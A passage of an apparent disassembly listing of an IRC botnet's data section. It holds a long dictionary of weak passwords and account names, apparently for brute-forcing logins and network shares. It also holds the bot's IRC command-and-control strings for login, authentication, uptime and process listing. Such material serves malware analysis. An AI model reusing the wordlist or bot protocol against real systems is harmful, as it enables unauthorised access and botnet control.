'berliner',0 ; DATA XREF: ___:0042FC1Co align 4 aBerlin db 'berlin',0 ; DATA XREF: ___:0042FC18o align 10h aBerkeley db 'berkeley',0 ; DATA XREF: ___:0042FC14o align 4 aBeowulf db 'beowulf',0 ; DATA XREF: ___:0042FC10o aBenz db 'benz',0 ; DATA XREF: ___:0042FC0Co align 4 aBeloved db 'beloved',0 ; DATA XREF: ___:0042FC08o aBell db 'bell',0 ; DATA XREF: ___:0042FC04o align 4 aBehead db 'behead',0 ; DATA XREF: ___:0042FC00o align 4 aBegin db 'begin',0 ; DATA XREF: ___:0042FBFCo align 4 aBeethove db 'beethove',0 ; DATA XREF: ___:0042FBF8o align 4 aBecky db 'becky',0 ; DATA XREF: ___:0042FBF4o align 10h aBeaver db 'beaver',0 ; DATA XREF: ___:0042FBF0o align 4 aBeauty db 'beauty',0 ; DATA XREF: ___:0042FBECo align 10h aBeater db 'beater',0 ; DATA XREF: ___:0042FBE8o align 4 aBeast db 'beast',0 ; DATA XREF: ___:0042FBE4o align 10h aBear db 'bear',0 ; DATA XREF: ___:0042FBE0o align 4 aBeammeup db 'beammeup',0 ; DATA XREF: ___:0042FBDCo align 4 aBeach db 'beach',0 ; DATA XREF: ___:0042FBD8o align 4 aBatman db 'batman',0 ; DATA XREF: ___:0042FBD4o align 4 aBatch db 'batch',0 ; DATA XREF: ___:0042FBD0o align 4 aBassoon db 'bassoon',0 ; DATA XREF: ___:0042FBCCo aBass db 'bass',0 ; DATA XREF: ___:0042FBC8o align 4 aBasic db 'basic',0 ; DATA XREF: ___:0042FBC4o align 4 aBaseball db 'baseball',0 ; DATA XREF: ___:0042FBC0o align 10h aBartman db 'bartman',0 ; DATA XREF: ___:0042FBBCo aBart db 'bart',0 ; DATA XREF: ___:0042FBB8o align 10h aBaritone db 'baritone',0 ; DATA XREF: ___:0042FBB4o align 4 aBarf db 'barf',0 ; DATA XREF: ___:0042FBB0o align 4 aBare db 'bare',0 ; DATA XREF: ___:0042FBACo align 4 aBarber db 'barber',0 ; DATA XREF: ___:0042FBA8o align 4 aBarbara db 'barbara',0 ; DATA XREF: ___:0042FBA4o aBanks db 'banks',0 ; DATA XREF: ___:0042FBA0o align 4 aBank db 'bank',0 ; DATA XREF: ___:0042FB9Co align 4 aBandit db 'bandit',0 ; DATA XREF: ___:0042FB98o align 4 aBananas db 'bananas',0 ; DATA XREF: ___:0042FB94o aBanana db 'banana',0 ; DATA XREF: ___:0042FB90o align 4 aBall db 'ball',0 ; DATA XREF: ___:0042FB8Co align 4 aBailey db 'bailey',0 ; DATA XREF: ___:0042FB88o align 4 aBadass db 'badass',0 ; DATA XREF: ___:0042FB84o align 4 aBackdoor db 'backdoor',0 ; DATA XREF: ___:0042FB80o align 4 aBacchus db 'bacchus',0 ; DATA XREF: ___:0042FB7Co aBaby db 'baby',0 ; DATA XREF: ___:0042FB78o align 4 aBabe db 'babe',0 ; DATA XREF: ___:0042FB74o align 10h aAzure db 'azure',0 ; DATA XREF: ___:0042FB70o align 4 aAztecs db 'aztecs',0 ; DATA XREF: ___:0042FB6Co align 10h aAuthoriz db 'authoriz',0 ; DATA XREF: ___:0042FB68o align 4 aAttack db 'attack',0 ; DATA XREF: ___:0042FB64o align 4 aAtom db 'atom',0 ; DATA XREF: ___:0042FB60o align 4 aAtmosphe db 'atmosphe',0 ; DATA XREF: ___:0042FB5Co align 4 aAthena db 'athena',0 ; DATA XREF: ___:0042FB58o align 10h aAsshole db 'asshole',0 ; DATA XREF: ___:0042FB54o aAsian db 'asian',0 ; DATA XREF: ___:0042FB50o align 10h aArtist db 'artist',0 ; DATA XREF: ___:0042FB4Co align 4 aArthur db 'arthur',0 ; DATA XREF: ___:0042FB48o align 10h aArrow db 'arrow',0 ; DATA XREF: ___:0042FB44o align 4 aArmy db 'army',0 ; DATA XREF: ___:0042FB40o align 10h aArlene db 'arlene',0 ; DATA XREF: ___:0042FB3Co align 4 aAriadne db 'ariadne',0 ; DATA XREF: ___:0042FB38o aAria db 'aria',0 ; DATA XREF: ___:0042FB34o align 4 aApril db 'april',0 ; DATA XREF: ___:0042FB30o align 10h aApollo13 db 'apollo13',0 ; DATA XREF: ___:0042FB2Co align 4 aAnything db 'anything',0 ; DATA XREF: ___:0042FB28o align 4 aAnvils db 'anvils',0 ; DATA XREF: ___:0042FB24o align 10h aAnthropo db 'anthropo',0 ; DATA XREF: ___:0042FB20o align 4 aAnthrax db 'anthrax',0 ; DATA XREF: ___:0042FB1Co aAnswer db 'answer',0 ; DATA XREF: ___:0042FB18o align 4 aAnonymou db 'anonymou',0 ; DATA XREF: ___:0042FB14o align 4 aAnon db 'anon',0 ; DATA XREF: ___:0042FB10o align 10h aAnnette db 'annette',0 ; DATA XREF: ___:0042FB0Co aAnne db 'anne',0 ; DATA XREF: ___:0042FB08o align 10h aAnna db 'anna',0 ; DATA XREF: ___:0042FB04o align 4 aAnita db 'anita',0 ; DATA XREF: ___:0042FB00o align 10h aAnimals db 'animals',0 ; DATA XREF: ___:0042FAFCo aAnimal db 'animal',0 ; DATA XREF: ___:0042FAF8o align 10h aAngie db 'angie',0 ; DATA XREF: ___:0042FAF4o align 4 aAngerine db 'angerine',0 ; DATA XREF: ___:0042FAF0o align 4 aAngela db 'angela',0 ; DATA XREF: ___:0042FAECo align 4 aAnfo db 'anfo',0 ; DATA XREF: ___:0042FAE8o align 4 aAndy db 'andy',0 ; DATA XREF: ___:0042FAE4o align 4 aAndromac db 'andromac',0 ; DATA XREF: ___:0042FAE0o align 4 aAndroid db 'android',0 ; DATA XREF: ___:0042FADCo aAndrea db 'andrea',0 ; DATA XREF: ___:0042FAD8o align 4 aAnchor db 'anchor',0 ; DATA XREF: ___:0042FAD4o align 10h aAnarchy db 'anarchy',0 ; DATA XREF: ___:0042FAD0o aAnarchis db 'anarchis',0 ; DATA XREF: ___:0042FACCo align 4 aAnalog db 'analog',0 ; DATA XREF: ___:0042FAC8o align 4 aAnal db 'anal',0 ; DATA XREF: ___:0042FAC4o align 4 aAmorphou db 'amorphou',0 ; DATA XREF: ___:0042FAC0o align 10h aAmerica db 'america',0 ; DATA XREF: ___:0042FABCo aAmber db 'amber',0 ; DATA XREF: ___:0042FAB8o align 10h aAmanda db 'amanda',0 ; DATA XREF: ___:0042FAB4o align 4 aAmadeus db 'amadeus',0 ; DATA XREF: ___:0042FAB0o aAlphabet db 'alphabet',0 ; DATA XREF: ___:0042FAACo align 4 aAllow db 'allow',0 ; DATA XREF: ___:0042FAA8o align 4 aAllison db 'allison',0 ; DATA XREF: ___:0042FAA4o aAlison db 'alison',0 ; DATA XREF: ___:0042FAA0o align 4 aAlisa db 'alisa',0 ; DATA XREF: ___:0042FA9Co align 4 aAlicia db 'alicia',0 ; DATA XREF: ___:0042FA98o align 4 aAlice db 'alice',0 ; DATA XREF: ___:0042FA94o align 4 aAliases db 'aliases',0 ; DATA XREF: ___:0042FA90o aAlias db 'alias',0 ; DATA XREF: ___:0042FA8Co align 4 aAlgebra db 'algebra',0 ; DATA XREF: ___:0042FA88o aAlexande db 'alexande',0 ; DATA XREF: ___:0042FA84o align 10h aAlex db 'alex',0 ; DATA XREF: ___:0042FA80o align 4 aAlert db 'alert',0 ; DATA XREF: ___:0042FA7Co align 10h aAlbert db 'albert',0 ; DATA XREF: ___:0042FA78o align 4 aAlbatros db 'albatros',0 ; DATA XREF: ___:0042FA74o align 4 aAlbany db 'albany',0 ; DATA XREF: ___:0042FA70o align 4 aAlaska db 'alaska',0 ; DATA XREF: ___:0042FA6Co align 4 aAirplane db 'airplane',0 ; DATA XREF: ___:0042FA68o align 10h aAids db 'aids',0 ; DATA XREF: ___:0042FA64o align 4 aAerobics db 'aerobics',0 ; DATA XREF: ___:0042FA60o align 4 aAdult db 'adult',0 ; DATA XREF: ___:0042FA5Co align 4 aAdrianna db 'adrianna',0 ; DATA XREF: ___:0042FA58o align 4 aAdrian db 'adrian',0 ; DATA XREF: ___:0042FA54o align 10h aAdam db 'adam',0 ; DATA XREF: ___:0042FA50o align 4 aAction db 'action',0 ; DATA XREF: ___:0042FA4Co align 10h aAccount db 'account',0 ; DATA XREF: ___:0042FA48o aAcademic db 'academic',0 ; DATA XREF: ___:0042FA40o align 4 aAcademia db 'academia',0 ; DATA XREF: ___:0042FA3Co align 10h a000000 db '000000',0 ; DATA XREF: ___:0042FA38o align 4 a00000 db '00000',0 ; DATA XREF: ___:0042FA34o align 10h a0000 db '0000',0 ; DATA XREF: ___:0042FA30o align 4 a000 db '000',0 ; DATA XREF: ___:0042FA2Co aTesting db 'testing',0 ; DATA XREF: ___:0042FA28o aDeath db 'death',0 ; DATA XREF: ___:0042FA24o align 4 a00 db '00',0 ; DATA XREF: ___:0042FA20o align 10h aXxxxxxxxx db 'xxxxxxxxx',0 ; DATA XREF: ___:0042FA18o align 4 aXxxxxxxx db 'xxxxxxxx',0 ; DATA XREF: ___:0042FA14o align 4 aXxxxxxx db 'xxxxxxx',0 ; DATA XREF: ___:0042FA10o aXxxxxx db 'xxxxxx',0 ; DATA XREF: ___:0042FA0Co align 4 aXxxxx db 'xxxxx',0 ; DATA XREF: ___:0042FA08o align 10h aXxxx db 'xxxx',0 ; DATA XREF: ___:0042FA04o align 4 aXxx db 'xxx',0 ; DATA XREF: ___:0042FA00o aXx db 'xx',0 ; DATA XREF: ___:0042F9FCo align 10h asc_434C30: ; DATA XREF: ___:0042F9F8o unicode 0, <x>,0 aGuessme db 'guessme',0 ; DATA XREF: ___:0042F9F4o aYouwontguessme db 'youwontguessme',0 ; DATA XREF: ___:0042F9F0o align 4 aUwontguessme db 'uwontguessme',0 ; DATA XREF: ___:0042F9ECo align 4 aMirc_0 db 'mirc',0 ; DATA XREF: ___:0042F9E8o align 4 aKiddie db 'kiddie',0 ; DATA XREF: ___:0042F9E4o align 4 aScriptkiddie db 'scriptkiddie',0 ; DATA XREF: ___:0042F9E0o align 4 aScript db 'script',0 ; DATA XREF: ___:0042F9DCo align 4 aHax0r db 'hax0r',0 ; DATA XREF: ___:0042F9D8o align 4 aHacker db 'hacker',0 ; DATA XREF: ___:0042F9D4o align 4 aL337 db 'l337',0 ; DATA XREF: ___:0042F9D0o align 4 aL33t db 'l33t',0 ; DATA XREF: ___:0042F9CCo align 4 aLeet db 'leet',0 ; DATA XREF: ___:0042F9C8o align 4 aKiller db 'killer',0 ; DATA XREF: ___:0042F9C4o align 4 a0wn3d db '0wn3d',0 ; DATA XREF: ___:0042F9C0o align 4 aW00t db 'w00t',0 ; DATA XREF: ___:0042F9BCo align 4 aHeaven db 'heaven',0 ; DATA XREF: ___:0042F9B8o align 4 aSpaceman db 'spaceman',0 ; DATA XREF: ___:0042F9B4o align 4 aSatanic db 'satanic',0 ; DATA XREF: ___:0042F9B0o aSatanik db 'satanik',0 ; DATA XREF: ___:0042F9ACo aSatan db 'satan',0 ; DATA XREF: ___:0042F9A8o align 10h aGobo db 'gobo',0 ; DATA XREF: ___:0042F9A4o align 4 aMatthew db 'Matthew',0 ; DATA XREF: ___:0042F9A0o aMatt db 'Matt',0 ; DATA XREF: ___:0042F99Co align 4 aMat db 'Mat',0 ; DATA XREF: ___:0042F998o aPw db 'pw',0 ; DATA XREF: ___:0042F994o align 10h aMypass123 db 'mypass123',0 ; DATA XREF: ___:0042F990o align 4 aMypass db 'mypass',0 ; DATA XREF: ___:0042F98Co align 4 aPw123 db 'pw123',0 ; DATA XREF: ___:0042F988o align 4 aAdmin123 db 'admin123',0 ; DATA XREF: ___:0042F984o align 4 aMypc123 db 'mypc123',0 ; DATA XREF: ___:0042F980o aMypc db 'mypc',0 ; DATA XREF: ___:0042F97Co align 4 aLove db 'love',0 ; DATA XREF: ___:0042F978o align 10h aPwd db 'pwd',0 ; DATA XREF: ___:0042F974o aLogin db 'login',0 ; DATA XREF: ___:0042F970o align 4 aHome db 'home',0 ; DATA XREF: ___:0042F96Co align 4 aZxcv db 'zxcv',0 ; DATA XREF: ___:0042F968o align 4 aYxcv db 'yxcv',0 ; DATA XREF: ___:0042F964o align 4 aQwer db 'qwer',0 ; DATA XREF: ___:0042F960o align 4 aSecret db 'secret',0 ; DATA XREF: ___:0042F95Co align 4 aAsdf db 'asdf',0 ; DATA XREF: ___:0042F958o align 4 aPc db 'pc',0 ; DATA XREF: ___:0042F954o align 10h aWin db 'win',0 ; DATA XREF: ___:0042F950o aTest123 db 'test123',0 ; DATA XREF: ___:0042F94Co aAbc db 'abc',0 ; DATA XREF: ___:0042F948o aAaa db 'aaa',0 ; DATA XREF: ___:0042F944o aA_1: ; DATA XREF: ___:0042F940o unicode 0, <a>,0 aCrash db 'crash',0 ; DATA XREF: ___:0042F93Co align 10h aFucked db 'fucked',0 ; DATA XREF: ___:0042F938o align 4 aNetfuck db 'netfuck',0 ; DATA XREF: ___:0042F934o aIrule db 'irule',0 ; DATA XREF: ___:0042F930o align 4 aOwned db 'owned',0 ; DATA XREF: ___:0042F92Co align 10h a0wned db '0wned',0 ; DATA XREF: ___:0042F928o align 4 aNetDevil db 'net-devil',0 ; DATA XREF: ___:0042F924o align 4 aNetdevil db 'netdevil',0 ; DATA XREF: ___:0042F920o align 10h aDevil db 'devil',0 ; DATA XREF: ___:0042F91Co align 4 aNilez db 'Nilez',0 ; DATA XREF: ___:0042F918o align 10h aFoobar db 'foobar',0 ; DATA XREF: ___:0042F914o align 4 aGod db 'god',0 ; DATA XREF: ___:0042F910o aSex db 'sex',0 ; DATA XREF: ___:0042F90Co aPat db 'pat',0 ; DATA XREF: ___:0042F908o aPatrick db 'patrick',0 ; DATA XREF: ___:0042F904o aAlpha db 'alpha',0 ; DATA XREF: ___:0042F900o align 4 a007 db '007',0 ; DATA XREF: ___:0042F8FCo a123abc db '123abc',0 ; DATA XREF: ___:0042F8F8o align 10h a1234qwer db '1234qwer',0 ; DATA XREF: ___:0042F8F4o align 4 a123123 db '123123',0 ; DATA XREF: ___:0042F8F0o align 4 a121212 db '121212',0 ; DATA XREF: ___:0042F8ECo align 4 a111111 db '111111',0 ; DATA XREF: ___:0042F8E8o align 4 a110 db '110',0 ; DATA XREF: ___:0042F8E4o a2600 db '2600',0 ; DATA XREF: ___:0042F8E0o align 10h a2002 db '2002',0 ; DATA XREF: ___:0042F8D8o align 4 aXp_0 db 'xp',0 ; DATA XREF: ___:0042F8D4o align 4 aEnable db 'enable',0 ; DATA XREF: ___:0042F8D0o align 4 aGodblessyou db 'godblessyou',0 ; DATA XREF: ___:0042F8CCo aIhavenopass db 'ihavenopass',0 ; DATA XREF: ___:0042F8C8o a123asd db '123asd',0 ; DATA XREF: ___:0042F8C4o align 4 aSuper db 'super',0 ; DATA XREF: ___:0042F8C0o align 4 aInternet db 'Internet',0 ; DATA XREF: ___:0042F8BCo align 4 a123qwe db '123qwe',0 ; DATA XREF: ___:0042F8B4o align 10h aSybase db 'sybase',0 ; DATA XREF: ___:0042F8B0o align 4 aAbc123 db 'abc123',0 ; DATA XREF: ___:0042F8A8o align 10h aAbcd db 'abcd',0 ; DATA XREF: ___:0042F8A4o align 4 aPasswd db 'passwd',0 ; DATA XREF: ___:0042F89Co align 10h aPass_0 db 'pass',0 ; DATA XREF: ___:0042F898o align 4 a88888888 db '88888888',0 ; DATA XREF: ___:0042F894o align 4 a11111111 db '11111111',0 ; DATA XREF: ___:0042F890o align 10h a111 db '111',0 ; DATA XREF: ___:0042F88Co a54321 db '54321',0 ; DATA XREF: ___:0042F888o align 4 a654321 db '654321',0 ; DATA XREF: ___:0042F884o align 4 a123456789 db '123456789',0 ; DATA XREF: ___:0042F880o align 10h a12345678 db '12345678',0 ; DATA XREF: ___:0042F87Co align 4 a1234567 db '1234567',0 ; DATA XREF: ___:0042F878o a123456 db '123456',0 ; DATA XREF: ___:0042F874o align 4 a12345 db '12345',0 ; DATA XREF: ___:0042F870o align 4 a1234 db '1234',0 ; DATA XREF: ___:0042F86Co align 4 a123 db '123',0 ; DATA XREF: ___:0042F868o a12 db '12',0 ; DATA XREF: ___:0042F864o align 4 a1: ; DATA XREF: ___:0042F860o unicode 0, <1>,0 aTemp123 db 'temp123',0 ; DATA XREF: ___:0042F85Co aChangeme_0 db 'Changeme',0 ; DATA XREF: ___:0042F858o align 4 aChangeme db 'changeme',0 ; DATA XREF: ___:0042F854o align 4 aLinux db 'linux',0 ; DATA XREF: ___:0042F850o align 10h aUnix db 'unix',0 ; DATA XREF: ___:0042F84Co align 4 aLocal db 'LOCAL',0 ; DATA XREF: ___:0042F848o align 10h aPepsi db 'pepsi',0 ; DATA XREF: ___:0042F844o align 4 aServer_0 db 'SERVER',0 ; DATA XREF: ___:0042F840o align 10h aSystem db 'SYSTEM',0 ; DATA XREF: ___:0042F83Co align 4 aBackup db 'BACKUP',0 ; DATA XREF: ___:0042F838o align 10h aAccess db 'ACCESS',0 ; DATA XREF: ___:0042F830o align 4 aTest db 'TEST',0 ; DATA XREF: ___:0042F82Co align 10h aEdu db 'edu',0 ; DATA XREF: ___:0042F828o aOwner_1 db 'Owner',0 ; DATA XREF: ___:0042F824o align 4 aOwner_0 db 'OWNER',0 ; DATA XREF: ___:0042F820o align 4 aDemo db 'DEMO',0 ; DATA XREF: ___:0042F81Co align 4 aFiles db 'FILES',0 ; DATA XREF: ___:0042F818o align 4 aRead db 'READ',0 ; DATA XREF: ___:0042F814o align 4 aBoth db 'BOTH',0 ; DATA XREF: ___:0042F810o align 4 aLadeda db 'ladeda',0 ; DATA XREF: ___:0042F80Co align 4 aFull_0 db 'FULL',0 ; DATA XREF: ___:0042F808o align 4 aWrite db 'WRITE',0 ; DATA XREF: ___:0042F804o align 4 aShare_0 db 'SHARE',0 ; DATA XREF: ___:0042F800o align 4 aTemp db 'TEMP',0 ; DATA XREF: ___:0042F7FCo align 4 aPassword db 'PASSWORD',0 ; DATA XREF: ___:0042F7F8o align 4 aAdmin_0 db 'ADMIN',0 ; DATA XREF: ___:0042F7F4o align 10h aRoot_0 db 'ROOT',0 ; DATA XREF: ___:0042F7ECo align 4 aGuest_1 db 'GUEST',0 ; DATA XREF: ___:0042F7E8o align 10h aBla db 'bla',0 ; DATA XREF: ___:0042F7E4o aFubar db 'fubar',0 ; DATA XREF: ___:0042F7E0o align 4 aAdministrato_1 db 'ADMINISTRATOR',0 ; DATA XREF: ___:0042F7D4o align 4 aDb2 db 'db2',0 ; DATA XREF: ___:0042F7C4o aOracle db 'oracle',0 ; DATA XREF: ___:0042F7C0o ; ___:0042F8ACo align 4 aDba db 'dba',0 ; DATA XREF: ___:0042F7BCo aDatabase db 'database',0 ; DATA XREF: ___:0042F7B8o ; ___:0042F8A0o align 4 aDefault db 'default',0 ; DATA XREF: ___:0042F7B4o ; ___:0042FF40o aGuest_0 db 'guest',0 ; DATA XREF: ___:0042F7B0o align 4 aWwwadmin db 'wwwadmin',0 ; DATA XREF: ___:0042F7ACo align 4 aTeacher db 'teacher',0 ; DATA XREF: ___:0042F7A8o ; ___:00430ED4o aStudent db 'student',0 ; DATA XREF: ___:0042F7A4o ; ___:00430E1Co aOwner db 'owner',0 ; DATA XREF: ___:0042F7A0o align 4 aComputer db 'computer',0 ; DATA XREF: ___:0042F79Co ; ___:0042F8B8o align 4 aRoot db 'root',0 ; DATA XREF: ___:0042F798o ; ___:0042F7F0o align 10h aStaff db 'staff',0 ; DATA XREF: ___:0042F794o align 4 aAdmin db 'admin',0 ; DATA XREF: ___:0042F790o align 10h aAdmins db 'admins',0 ; DATA XREF: ___:0042F78Co align 4 aAdministrat db 'administrat',0 ; DATA XREF: ___:0042F788o aAdministrateur db 'administrateur',0 ; DATA XREF: ___:0042F784o align 4 aAdministrador db 'administrador',0 ; DATA XREF: ___:0042F780o align 4 aAdministrato_0 db 'administrator',0 ; DATA XREF: ___:0042F77Co ; ___:0042F7DCo align 4 aH4ckerTool db 'h4cker tool',0 ; DATA XREF: ___:off_42F6CCo a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_42F6C8o dword_43511C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40E6A9+352o dd 2BBBB02h, 6F422020h, 74732074h, 65747261h, 2E64h dword_435144 dd 25207325h, 25222064h, 2273h ; DATA XREF: sub_40E6A9+280o dword_435150 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EB92+F2o dd 2BBBB02h aConnectedToS_ db ' Connected to %s.',0 align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_40ECFA+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_40ECFA+35o align 4 aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+627Co align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+6264o align 4 dword_4351C4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+6257o dd 2BBBB02h aUserSLoggedIn_ db ' User: %s logged in.',0 align 4 dword_4351F4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+623Ao dd 2BBBB02h aAbosal7Accepte db ' ABOSAL7 accepted.',0 dword_435220 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+61D9o dd 2BBBB02h, 462A2020h, 656C6961h, 6F682064h, 61207473h db 75h aThBySS_ db 'th by: (%s!%s).',0 ; DATA XREF: ___:off_4274DCo align 4 dword_43525C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+6172o dd 2BBBB02h aFailedPassAuth db ' *Failed pass auth by: (%s!%s).',0 align 4 aNoticeSYouVeBe db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+6160o ; sub_40EE72+61C7o align 4 aNoticeSNiceTry db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+6149o ; sub_40EE72+61B0o align 4 asc_4352E4: ; DATA XREF: sub_40EE72+6119o unicode 0, <~>,0 dword_4352E8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+60C9o dd 2BBBB02h aRandomNickChan db ' Random nick change: %s',0 align 4 dword_43531C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+6015o dd 2BBBB02h aInvalidLoginSl db ' Invalid login slot number: %d.',0 align 4 dword_435358 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+600Ao dd 2BBBB02h aNoUserLoggedIn db ' No user logged in at slot: %d.',0 align 4 dword_435394 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5FB5o dd 2BBBB02h, 73252020h, 0 unk_4353B4 db 2 ; DATA XREF: sub_40EE72+5F8Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToStar_6 db ' Failed to start secure thread, error: <%d>.',0 align 10h dword_435400 dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h ; DATA XREF: sub_40EE72+5F15o dd 2202967h, 2002BBBBh, 20732520h, 74737973h, 2E6D65h aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_40EE72+5F0Fo align 4 aSecuring db 'Securing',0 ; DATA XREF: sub_40EE72+5F08o align 10h aSec db 'sec',0 ; DATA XREF: sub_40EE72+5EADo aSecure db 'secure',0 ; DATA XREF: sub_40EE72+5E9Co align 4 unk_43544C db 2 ; DATA XREF: sub_40EE72+5E91o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_7 db 'Failed to start server thread, error: <%d>.',0 dword_435494 dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Eh ; DATA XREF: sub_40EE72+5D6Fo dword_4354A4 dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_40EE72+5D6Ao dword_4354B0 dd 72027002h, 1F631F6Fh, 2E2Eh ; DATA XREF: sub_40EE72+5D57o dword_4354BC dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_40EE72+5D52o dword_4354CC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5D1Fo dd 2BBBB02h, 65522020h, 6E6E6F63h, 69746365h, 2E676Eh aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE72:loc_414B84o align 4 dword_43550C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5CFDo dd 2BBBB02h, 69442020h, 6E6F6373h, 7463656Eh, 2E676E69h dd 0 aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE72:loc_414B62o align 10h aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+5CC8o align 4 dword_43555C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5C76o dd 2BBBB02h aStatusReady_Bo db ' Status: Ready. Bot Uptime: %s.',0 align 4 dword_435598 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5C62o dd 2BBBB02h, 6F422020h, 44492074h, 7325203Ah, 2Eh dword_4355C0 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72+5C3Do dd 2029671Fh, 2BBBB02h aFailedToStartL db ' Failed to start list thread, error: <%d>.',0 dword_435608 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72+5BD2o dd 2029671Fh, 2BBBB02h, 694C2020h, 74207473h, 61657268h dd 2E7364h dword_435634 dd 627573h ; DATA XREF: sub_40EE72+5BACo dword_435638 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5B5Do dd 2BBBB02h, 6C412020h, 20736169h, 7473696Ch, 2Eh dword_435660 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5B42o dd 2BBBB02h aFailedToStar_8 db ' Failed to start listing thread, error: <%d>.',0 align 4 dword_4356A8 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5AD3o dd 2BBBB02h, 694C2020h, 6E697473h, 6F6C2067h, 2E67h dword_4356D0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5A36o dd 2BBBB02h, 654E2020h, 726F7774h, 6E49206Bh, 2E6F66h dword_4356F8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5A04o dd 2BBBB02h, 79532020h, 6D657473h, 666E4920h, 2E6Fh dword_435720 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+59AFo dd 2BBBB02h, 65522020h, 69766F6Dh, 4220676Eh, 2E746Fh unk_435748 db 2 ; DATA XREF: sub_40EE72+599Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_9 db 'Failed to start listing thread, error: <%d>.',0 align 4 dword_435798 dd 7A026E02h, 201F6D1Fh, 6F727028h, 73736563h, 702E7365h ; DATA XREF: sub_40EE72+592Do dd 671F6C1Fh, 0BB022029h, 202002BBh, 636F7250h, 73736563h dd 73696C20h, 2E74h aFull db 'full',0 ; DATA XREF: sub_40EE72+590Do align 10h unk_4357D0 db 2 ; DATA XREF: sub_40EE72+58B6o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aAlreadyRunning db 'Already running.',0 align 4 unk_435804 db 2 ; DATA XREF: sub_40EE72+5893o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 64h, 6Bh db 65h ; e db 79h, 73h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aSearchComplete db ' Search completed.',0 align 4 dword_435834 dd 7A026E02h, 201F6D1Fh, 63726928h, 